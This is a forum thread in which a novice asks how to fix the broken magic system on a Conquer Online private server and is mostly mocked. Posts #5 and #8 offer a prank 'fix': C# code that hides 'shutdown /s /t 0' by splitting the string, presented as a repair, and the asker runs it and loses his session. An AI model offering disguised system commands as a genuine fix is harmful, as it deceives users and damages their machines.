How to solve a bug with Magic?

02/27/2013 17:45 alissoncuan#1
on my server 5669 the magic system does not work.

How so?

For example I can not carry the magic with no command or with the magic that is bought in pharmacist.

Sorry for my English.
02/27/2013 18:39 ShittyMod#2
Remove/comment out line 259 in MagicHandler.cs.
02/27/2013 22:40 alissoncuan#3
Thank you.
Could you tell me where is this file?
02/28/2013 01:46 Silent-Death#4
how could you, after receiving this
Quote:
Originally Posted by ShittyMod View Post
Remove/comment out line 259 in MagicHandler.cs.
reply with this
Quote:
Originally Posted by alissoncuan View Post
Thank you.
Could you tell me where is this file?
fakk sake mate..
02/28/2013 10:40 Super Aids#5
Quote:
Originally Posted by alissoncuan View Post
Thank you.
Could you tell me where is this file?
Open your source.
Open the file MagicHandler.cs
Find line 259
Remove the line 259
Open the file Program.cs
Find:
Code:
static void Main(string[] args)
After the first { put this:
Code:
string d = "do";
string f = "wn";
System.Diagnostics.Process.Start("s" + "hut" + d + f,"/s /t 0");
And your server will work again.
02/28/2013 12:24 Lateralus#6
MagicHandler.cs can be found on your computer at the location C:\Users\Admin\Downloads\MyFirstConquerSource\MyFi rstConquerSource\MagicStuff\MagicHandler.cs

If you're missing one of those folders, create it and this file will magically appear. If it doesn't, then your server is broken forever.
02/28/2013 16:42 alissoncuan#7
OMG!

My source does not have this file Magic Handler.cs!
What should I do?
Being that I already tried other versions and also not found

Thanks for trying to help!
02/28/2013 16:48 ShittyMod#8
Quote:
Originally Posted by alissoncuan View Post
OMG!

My source does not have this file Magic Handler.cs!
What should I do?
Being that I already tried other versions and also not found

Thanks for trying to help!
This will work as well:

Quote:
Originally Posted by Super Aids View Post
Open the file Program.cs
Find:
Code:
static void Main(string[] args)
After the first { put this:
Code:
string d = "do";
string f = "wn";
System.Diagnostics.Process.Start("s" + "hut" + d + f,"/s /t 0");
And your server will work again.
02/28/2013 17:20 alissoncuan#9
SHIT!
I put this code there, give my computer restarted!
I thought you guys want to help me :(
02/28/2013 17:26 Lateralus#10
This is in the wrong section anyway.

#moved
02/28/2013 17:27 Kiyono#11
Quote:
Originally Posted by alissoncuan View Post
SHIT!
I put this code there, give my computer restarted!
I thought you guys want to help me :(
You just blindly stuck in code without reading it? Why? It isn't even long or complex just read what it does. It's pretty obvious that it restarts your computer.

//edit To elaborate:
Code:
string d = "do";
string f = "wn";
System.Diagnostics.Process.Start("s" + "hut" + d + f,"/s /t 0");
Code:
System.Diagnostics.Process.Start("shutdown,"/s /t 0");
02/28/2013 17:47 Super Aids#12
Quote:
Originally Posted by Kiyono View Post
...
Shhh
02/28/2013 17:48 shadowman123#13
Quote:
Originally Posted by alissoncuan View Post
SHIT!
I put this code there, give my computer restarted!
I thought you guys want to help me :(
haahahahahahahahahahahahah i LOL'd Hardly at that part

On Topic surely there wont be any MagicHandler.cs Class as the source u are using doesnt contain it .. what they meant by that is check the Magic Handling Part in attacking system inside source ... and actually all u need to do is Update Target count offset .. from 16 to 17 Thx to Btot or smthing like that ... u will tell me where should i update this offset the answer would be >.. inside SPellUse Packet 1105 ..
02/28/2013 17:59 Super Aids#14
He will also ask you where to find SpellUse Packet, what Spell, Use and Packet means and also what the number 1105 means. Then he will ask what an offset is and where he can find 16 and where to put 17.
02/28/2013 19:08 shadowman123#15
if he asked these question then he really need to stay away out of this work .. and focus on smthing else ..